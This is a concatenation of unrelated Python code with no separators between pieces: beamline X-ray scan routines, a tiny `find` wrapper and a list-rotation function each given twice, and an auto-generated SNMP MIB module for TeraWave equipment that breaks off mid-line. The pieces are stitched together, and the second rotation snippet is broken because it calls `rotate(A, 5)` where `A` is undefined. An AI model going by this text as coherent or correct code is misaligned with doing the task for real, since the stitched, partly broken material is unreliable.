det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV2') yield from bp.grid_scan(dets, piezo.x, *piezo_x2, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV3') yield from bp.grid_scan(dets, piezo.x, *piezo_x3, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV4') yield from bp.grid_scan(dets, piezo.x, *piezo_x4, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV5') yield from bp.grid_scan(dets, piezo.x, *piezo_x5, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV6') yield from bp.grid_scan(dets, piezo.x, *piezo_x6, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV7') yield from bp.grid_scan(dets, piezo.x, *piezo_x7, waxs, *waxs_arc, 1) yield from align_shortcut() det_exposure_time(meas_t) sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV8') yield from bp.grid_scan(dets, piezo.x, *piezo_x8, waxs, *waxs_arc, 1) sample_id(user_name='test', sample_name='test') det_exposure_time(0.5) def do_singleimage(meas_t=4): dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] e_list = [20300] det_exposure_time(meas_t) waxs_arc = [3, 9, 2] sample_id(user_name='AK', sample_name='PVDFWBcool_50C_0.088deg_20300eV1') yield from bp.grid_scan(dets, waxs, *waxs_arc) def do_grazing_cool(meas_t=4): dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] waxs_arc = [3, 9, 2] e_list = [20300] det_exposure_time(meas_t) xlocs = [0] sample_id(user_name='AK', sample_name='PB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [10000] sample_id(user_name='AK', sample_name='P50B_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [20000] sample_id(user_name='AK', sample_name='PWB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [30000] sample_id(user_name='AK', sample_name='P50WB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [40000] sample_id(user_name='AK', sample_name='PVDFWB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [50000] sample_id(user_name='AK', sample_name='P75WB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [60000] sample_id(user_name='AK', sample_name='P75WB_100C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [70000] sample_id(user_name='AK', sample_name='P25WB_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [80000] sample_id(user_name='AK', sample_name='P25B_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) xlocs = [90000] sample_id(user_name='AK', sample_name='P75B2_50C_0.088deg_20300eV_cool') yield from bp.grid_scan(dets, waxs, *waxs_arc) def do_grazing1(meas_t=2): dets = [pil300KW, pil300kwroi2, xbpm3.sumY, xbpm2.sumY] xlocs = [-37950] x_offset = [-200, 0, 200] names = ['ctrl1_focused_recheckoldmacro'] prealigned = [0] for (xloc, name, aligned) in zip(xlocs, names, prealigned): yield from bps.mv(piezo.x, xloc) yield from bps.mv(piezo.th, -500) if aligned == 0: yield from align_yalegi() plt.close('all') angle_offset = [100, 220, 300] e_list = [2460, 2477, 2500] a_off = piezo.th.position waxs_arc = [3, 87, 15] det_exposure_time(meas_t) name_fmt = '{sample}_{energ}eV_{angle}deg' for (i_e, e) in enumerate(e_list): yield from bps.mv(energy, e) yield from bps.mv(piezo.x, xloc + x_offset[i_e]) for (j, ang) in enumerate(a_off - np.array(angle_offset)): real_ang = 0.3 + angle_offset[j] / 1000 yield from bps.mv(piezo.th, ang) sample_name = name_fmt.format(sample=name, angle=real_ang, energ=e) sample_id(user_name='FA', sample_name=sample_name) print(f'\n\t=== Sample: {sample_name} ===\n') yield from bp.scan(dets, waxs, *waxs_arc) sample_id(user_name='test', sample_name='test') det_exposure_time(0.5)
# TODO: Give better variable names # TODO: Make v3 and v4 optional arguments def find(v1, v2, v3, v4): return v1.index(v2, v3, v4)
def find(v1, v2, v3, v4): return v1.index(v2, v3, v4)
# AUTHOR: prm1999 # Python3 Concept: Rotate the word in the list. # GITHUB: https://github.com/prm1999 # Function def rotate(arr, n): n = len(arr) i = 1 x = arr[n - 1] for i in range(n - 1, 0, -1): arr[i] = arr[i - 1] arr[0] = x return arr #main A = [1, 2, 3, 4, 5] a=rotate(A,5) print(a)
def rotate(arr, n): n = len(arr) i = 1 x = arr[n - 1] for i in range(n - 1, 0, -1): arr[i] = arr[i - 1] arr[0] = x return arr a = [1, 2, 3, 4, 5] a = rotate(A, 5) print(a)
# # PySNMP MIB module TERAWAVE-terasystem-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/TERAWAVE-terasystem-MIB # Produced by pysmi-0.3.4 at Wed May 1 15:16:09 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15) # Integer, OctetString, ObjectIdentifier = mibBuilder.importSymbols("ASN1", "Integer", "OctetString", "ObjectIdentifier") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ValueRangeConstraint, ValueSizeConstraint, ConstraintsUnion, SingleValueConstraint, ConstraintsIntersection = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueRangeConstraint", "ValueSizeConstraint", "ConstraintsUnion", "SingleValueConstraint", "ConstraintsIntersection") NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance") Integer32, Bits, Counter32, ObjectIdentity, NotificationType, TimeTicks, MibIdentifier, ModuleIdentity, Counter64, MibScalar, MibTable, MibTableRow, MibTableColumn, IpAddress, Unsigned32, iso, enterprises, Gauge32 = mibBuilder.importSymbols("SNMPv2-SMI", "Integer32", "Bits", "Counter32", "ObjectIdentity", "NotificationType", "TimeTicks", "MibIdentifier", "ModuleIdentity", "Counter64", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "IpAddress", "Unsigned32", "iso", "enterprises", "Gauge32") DisplayString, TextualConvention = mibBuilder.importSymbols("SNMPv2-TC", "DisplayString", "TextualConvention") terawave = MibIdentifier((1, 3, 6, 1, 4, 1, 4513)) teraSystem = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5)) teraSystemTime = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 1), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemTime.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemTime.setDescription('') teraSystemCurrTime = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraSystemCurrTime.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemCurrTime.setDescription('') teraLogGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 8)) teraLogNumberTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1), ) if mibBuilder.loadTexts: teraLogNumberTable.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberTable.setDescription(' table teraLogNumberTable') teraLogNumberTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "teraLogNumber")) if mibBuilder.loadTexts: teraLogNumberTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberTableEntry.setDescription(' table entry teraLogNumberTableEntry ') teraLogNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1, 1, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraLogNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumber.setDescription('') teraLogNumberDescr = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1, 1, 2), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraLogNumberDescr.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberDescr.setDescription('') teraLogNumberStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 1, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("ok", 1), ("clear", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraLogNumberStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberStatus.setDescription('') teraLogClear = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 8, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("ok", 1), ("clear", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraLogClear.setStatus('mandatory') if mibBuilder.loadTexts: teraLogClear.setDescription('') teraLogTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3), ) if mibBuilder.loadTexts: teraLogTable.setStatus('mandatory') if mibBuilder.loadTexts: teraLogTable.setDescription(' table teraLogTable') teraLogTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "teraInstallSlotNumber"), (0, "TERAWAVE-terasystem-MIB", "teraLogNumber"), (0, "TERAWAVE-terasystem-MIB", "teraLogMsgIndex")) if mibBuilder.loadTexts: teraLogTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraLogTableEntry.setDescription(' table entry teraLogTableEntry ') teraLogMsgIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 1), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraLogMsgIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraLogMsgIndex.setDescription('') teraLogMsgNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 2), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraLogMsgNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraLogMsgNumber.setDescription('') teraLogNumberOfParams = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraLogNumberOfParams.setStatus('mandatory') if mibBuilder.loadTexts: teraLogNumberOfParams.setDescription('') teraLogParams = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 4), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraLogParams.setStatus('mandatory') if mibBuilder.loadTexts: teraLogParams.setDescription('') teraLogStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 4, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("ok", 1), ("clear", 2)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraLogStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraLogStatus.setDescription('') teraAllLogsFilterGroup = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5), ) if mibBuilder.loadTexts: teraAllLogsFilterGroup.setStatus('mandatory') if mibBuilder.loadTexts: teraAllLogsFilterGroup.setDescription(' table teraAllLogsFilterGroup') teraAllLogsFilterGroupEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "teraLogNumber")) if mibBuilder.loadTexts: teraAllLogsFilterGroupEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraAllLogsFilterGroupEntry.setDescription(' table entry teraAllLogsFilterGroupEntry ') teraLogFilterByNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1, 1), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraLogFilterByNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraLogFilterByNumber.setDescription('') teraLogFilterBySize = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("all", 1), ("last20", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraLogFilterBySize.setStatus('mandatory') if mibBuilder.loadTexts: teraLogFilterBySize.setDescription('') teraLogFilterBySeverity = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 5))).clone(namedValues=NamedValues(("nominal", 1), ("minor", 2), ("major", 3), ("critical", 5)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraLogFilterBySeverity.setStatus('mandatory') if mibBuilder.loadTexts: teraLogFilterBySeverity.setDescription('') teraLogFilterByTask = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 8, 3, 5, 1, 4), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraLogFilterByTask.setStatus('mandatory') if mibBuilder.loadTexts: teraLogFilterByTask.setDescription('') teraSlotInstTablePar = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 3)) teraSlotInstallTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1), ) if mibBuilder.loadTexts: teraSlotInstallTable.setStatus('mandatory') if mibBuilder.loadTexts: teraSlotInstallTable.setDescription(' table teraSlotInstallTable') teraSlotInstallTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "teraInstallSlotNumber")) if mibBuilder.loadTexts: teraSlotInstallTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraSlotInstallTableEntry.setDescription(' table entry teraSlotInstallTableEntry ') teraInstallSlotNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 1), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 7))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraInstallSlotNumber.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallSlotNumber.setDescription('') teraInstallUnitType = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(-1, 5000))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraInstallUnitType.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitType.setDescription('') teraInstallEquippedUnitType = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 3), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraInstallEquippedUnitType.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallEquippedUnitType.setDescription('') teraInstallUnitAdminStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7))).clone(namedValues=NamedValues(("provision", 1), ("none", 2), ("is", 3), ("moos", 4), ("reset", 5), ("trunk", 6), ("moos-trunk", 7)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraInstallUnitAdminStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitAdminStatus.setDescription('') teraInstallUnitOperStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8))).clone(namedValues=NamedValues(("empty", 1), ("is", 2), ("moos", 3), ("removed", 4), ("unprovisioned", 5), ("mismatch", 6), ("oos", 7), ("init", 8)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraInstallUnitOperStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitOperStatus.setDescription('') teraInstallUnitName = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 6), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraInstallUnitName.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitName.setDescription('') teraInstallUnitRevision = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 7), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraInstallUnitRevision.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitRevision.setDescription('') teraInstallUnitSerial = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 8), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraInstallUnitSerial.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitSerial.setDescription('') teraInstallUnitSWVersion = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 9), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraInstallUnitSWVersion.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitSWVersion.setDescription('') teraInstallUnitMfgData = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 1, 1, 10), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraInstallUnitMfgData.setStatus('mandatory') if mibBuilder.loadTexts: teraInstallUnitMfgData.setDescription('') teraSystemInstallTable = MibTable((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2), ) if mibBuilder.loadTexts: teraSystemInstallTable.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemInstallTable.setDescription(' table teraSystemInstallTable') teraSystemInstallTableEntry = MibTableRow((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1), ).setIndexNames((0, "TERAWAVE-terasystem-MIB", "teraInstallSlotNumber"), (0, "TERAWAVE-terasystem-MIB", "teraPonIndex")) if mibBuilder.loadTexts: teraSystemInstallTableEntry.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemInstallTableEntry.setDescription(' table entry teraSystemInstallTableEntry ') teraSystemNEProvisionAdminStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("provision", 1), ("none", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNEProvisionAdminStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEProvisionAdminStatus.setDescription('') teraSystemNEName = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 2), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraSystemNEName.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEName.setDescription('') teraSystemNERangingCode = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 3), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNERangingCode.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNERangingCode.setDescription('') teraSystemNEType = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 7))).clone(namedValues=NamedValues(("unknown", 0), ("tw300", 1), ("tw600", 2), ("tw1600", 3), ("tw100", 4), ("tw150RT", 5), ("oat", 7)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraSystemNEType.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEType.setDescription('') teraSystemNEMaxLatency = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 5), Integer32().subtype(subtypeSpec=ValueRangeConstraint(8, 60))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNEMaxLatency.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEMaxLatency.setDescription('') teraSystemNEAponMaxLength = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 6), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 200))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNEAponMaxLength.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEAponMaxLength.setDescription('') teraSystemNEOperStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("empty", 1), ("provisioned", 2), ("linkDown", 3)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraSystemNEOperStatus.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEOperStatus.setDescription('') teraSystemNEEocMinBandWidth = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 8), Integer32().subtype(subtypeSpec=ValueRangeConstraint(128, 1536))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNEEocMinBandWidth.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEEocMinBandWidth.setDescription('') teraSystemNEEocMaxBandWidth = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 9), Integer32().subtype(subtypeSpec=ValueRangeConstraint(128, 1536))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNEEocMaxBandWidth.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEEocMaxBandWidth.setDescription('') teraSystemNEInventoryOverride = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 10), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("olt2ont", 1), ("ont2olt", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNEInventoryOverride.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNEInventoryOverride.setDescription('') teraSystemNERanging = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 11), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("on", 1), ("off", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraSystemNERanging.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNERanging.setDescription('') teraSystemNECurrentDistance = MibTableColumn((1, 3, 6, 1, 4, 1, 4513, 5, 3, 2, 1, 12), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 20000))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraSystemNECurrentDistance.setStatus('mandatory') if mibBuilder.loadTexts: teraSystemNECurrentDistance.setDescription('') teraNEInfoTableGroup = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3)) teraNEInfoTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1)) teraNERangingCode = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 1), OctetString()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraNERangingCode.setStatus('mandatory') if mibBuilder.loadTexts: teraNERangingCode.setDescription('') teraNEType = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(0, 1, 2, 3, 4, 5, 6, 7))).clone(namedValues=NamedValues(("unknown", 0), ("tw300", 1), ("tw600", 2), ("tw1600", 3), ("tw100", 4), ("tw150RT-ATM", 5), ("tw150RT-TDM", 6), ("oat", 7)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraNEType.setStatus('mandatory') if mibBuilder.loadTexts: teraNEType.setDescription('') teraNEModel = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 3), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraNEModel.setStatus('mandatory') if mibBuilder.loadTexts: teraNEModel.setDescription('') teraNESWVersion = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 4), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraNESWVersion.setStatus('mandatory') if mibBuilder.loadTexts: teraNESWVersion.setDescription('') teraNESWRevision = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 3, 3, 1, 5), OctetString()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraNESWRevision.setStatus('mandatory') if mibBuilder.loadTexts: teraNESWRevision.setDescription('') teraClockSyncTable = MibIdentifier((1, 3, 6, 1, 4, 1, 4513, 5, 4)) teraClockSyncPrimarySource = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 1), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("bits-A", 1), ("nim", 2), ("freerun", 3), ("holdover", 4)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraClockSyncPrimarySource.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncPrimarySource.setDescription('') teraClockSyncPrimaryNIMSlot = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 2), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 16))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraClockSyncPrimaryNIMSlot.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncPrimaryNIMSlot.setDescription('') teraClockSyncPrimaryNIMIfIndex = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 3), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraClockSyncPrimaryNIMIfIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncPrimaryNIMIfIndex.setDescription('') teraClockSyncSecondarySource = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("bits-B", 1), ("nim", 2), ("freerun", 3), ("holdover", 4)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraClockSyncSecondarySource.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncSecondarySource.setDescription('') teraClockSyncSecondaryNIMSlot = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 5), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 16))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraClockSyncSecondaryNIMSlot.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncSecondaryNIMSlot.setDescription('') teraClockSyncSecondaryNIMIfIndex = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 6), Integer32()).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraClockSyncSecondaryNIMIfIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncSecondaryNIMIfIndex.setDescription('') teraClockSyncLastSource = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("freerun", 1), ("holdover", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraClockSyncLastSource.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncLastSource.setDescription('') teraClockSyncRevertive = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 8), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("yes", 1), ("no", 2)))).setMaxAccess("readwrite") if mibBuilder.loadTexts: teraClockSyncRevertive.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncRevertive.setDescription('') teraClockSyncActiveSource = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 9), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5))).clone(namedValues=NamedValues(("bits-A", 1), ("bits-B", 2), ("nim", 3), ("freerun", 4), ("holdover", 5)))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraClockSyncActiveSource.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncActiveSource.setDescription('') teraClockSyncActiveNIMSlot = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 10), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 16))).setMaxAccess("readonly") if mibBuilder.loadTexts: teraClockSyncActiveNIMSlot.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncActiveNIMSlot.setDescription('') teraClockSyncActiveNIMIfIndex = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 11), Integer32()).setMaxAccess("readonly") if mibBuilder.loadTexts: teraClockSyncActiveNIMIfIndex.setStatus('mandatory') if mibBuilder.loadTexts: teraClockSyncActiveNIMIfIndex.setDescription('') teraClockSyncActiveStatus = MibScalar((1, 3, 6, 1, 4, 1, 4513, 5, 4, 12), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("auto", 1), ("manual", 